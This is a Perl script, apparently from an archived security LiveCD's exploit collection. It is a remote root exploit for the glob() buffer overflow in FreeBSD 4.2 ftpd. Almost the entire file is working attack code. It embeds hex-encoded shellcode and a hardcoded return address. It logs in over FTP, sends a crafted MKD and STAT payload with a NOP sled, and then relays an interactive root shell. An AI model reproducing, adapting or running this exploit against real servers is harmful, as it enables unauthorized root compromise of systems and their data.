home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / ftpd / bsdglobexp.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  157 lines

  1. #!/usr/bin/perl
  2.  
  3. ###############################################################################
  4. # glob() ftpd remote root exploit for freebsd 4.2-stable                      #
  5. #                                                                             #
  6. # babcia padlina ltd. / venglin@freebsd.lublin.pl                             #
  7. #                                                                             #
  8. # this version requires user access and writeable homedir without chroot.     #
  9. ###############################################################################
  10.  
  11. require 5.002;
  12. use strict;
  13. use sigtrap;
  14. use Socket;
  15.  
  16. my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);
  17.  
  18. # teso shellcode ripped from 7350obsd
  19.  
  20. $code  = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68";
  21. $code .= "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04";
  22. $code .= "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01";
  23. $code .= "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53";
  24. $code .= "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c";
  25. $code .= "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31";
  26. $code .= "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d";
  27. $code .= "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d";
  28. $code .= "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5";
  29. $code .= "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";
  30.  
  31. #$ret = 0xbfbfeae8; - stos lagoona
  32. #$ret = 0x805baf8; - bss info
  33. $ret = 0x805e23a; # - bss lagoon
  34.  
  35. if (@ARGV < 3)
  36. {
  37.     print "Usage: $0 <hostname> <username> <password> [align] [offset]\n";
  38.     exit;
  39. }
  40.  
  41. ($host, $user, $pass, $align, $off) = @ARGV;
  42.  
  43. if (defined($off))
  44. {
  45.     $ret += $off;
  46. }
  47.  
  48. if (!defined($align))
  49. {
  50.     $align = 1;
  51. }
  52.  
  53. print "Globulka v1.0 by venglin\@freebsd.lublin.pl\n\n";
  54. print "RET: 0x" . sprintf('%lx', $ret) . "\n";
  55. print "Align: $align\n\n";
  56.  
  57. $iaddr = inet_aton($host)            or die "Unknown host: $host\n";
  58. $paddr = sockaddr_in(21, $iaddr)        or die "getprotobyname: $!\n";
  59. $proto = getprotobyname('tcp')            or die "getprotobyname: $!\n";
  60.  
  61. socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    or die "socket: $!\n";
  62. connect(SOCKET, $paddr)                or die "connect: $!\n";
  63.  
  64. do
  65. {
  66.     $recvbuf = <SOCKET>;
  67. }
  68. while($recvbuf =~ /^220- /);
  69.  
  70. print $recvbuf;
  71.  
  72. if ($recvbuf !~ /^220 .+/)
  73. {
  74.     die "Exploit failed.\n";
  75. }
  76.  
  77. send(SOCKET, "USER $user\r\n", 0)        or die "send: $!\n";
  78. $recvbuf = <SOCKET>;
  79.  
  80. if ($recvbuf !~ /^(331|230) .+/)
  81. {
  82.     print $recvbuf;
  83.     die "Exploit failed.\n";
  84. }
  85.  
  86. send(SOCKET, "PASS $pass\r\n", 0)        or die "send: $!\n";
  87. $recvbuf = <SOCKET>;
  88.  
  89. if ($recvbuf !~ /^230 .+/)
  90. {
  91.     print $recvbuf;
  92.     die "Exploit failed.\n";
  93. }
  94. else
  95. {
  96.     print "Logged in as $user/$pass. Sending evil STAT command.\n\n";
  97. }
  98.  
  99. send(SOCKET, "MKD " . "A"x255 . "\r\n", 0)        or die "send: $!\n";
  100. $recvbuf = <SOCKET>;
  101.  
  102. if ($recvbuf !~ /^(257|550) .+/)
  103. {
  104.     print $recvbuf;
  105.     die "Exploit failed.\n";
  106. }
  107.  
  108. send(SOCKET, "STAT A*/../A*/../A*/" . "\x90" x (90+$align) . $code .
  109.     pack('l', $ret) x 30 . "\r\n", 0)        or die "send: $!\n";
  110.  
  111. sleep 1;
  112.  
  113. send(SOCKET, "id\n", 0)             or die "send: $!\n";
  114. $recvbuf = <SOCKET>;
  115.  
  116. if ($recvbuf !~ /^uid=.+/)
  117. {
  118.     die "Exploit failed.\n";
  119. }
  120. else
  121. {
  122.     print $recvbuf;
  123. }
  124.  
  125. vec($rin, fileno(STDIN), 1) = 1;
  126. vec($rin, fileno(SOCKET), 1) = 1;
  127.  
  128. for(;;)
  129. {
  130.     $read = select($rout=$rin, undef, undef, undef);
  131.     if (vec($rout, fileno(STDIN), 1) == 1)
  132.     {
  133.         if (sysread(STDIN, $recvbuf, 1024) == 0)
  134.         {
  135.             exit;
  136.         }
  137.         send(SOCKET, $recvbuf, 0);
  138.     }
  139.  
  140.     if (vec($rout, fileno(SOCKET), 1) == 1)
  141.     {
  142.         if (sysread(SOCKET, $recvbuf, 1024) == 0)
  143.         {
  144.             exit;
  145.         }
  146.         syswrite(STDIN, $recvbuf, 1024);
  147.     }
  148. }
  149.  
  150. close SOCKET;
  151.  
  152. exit;
  153.  
  154. -- 
  155. * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
  156. * Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
  157.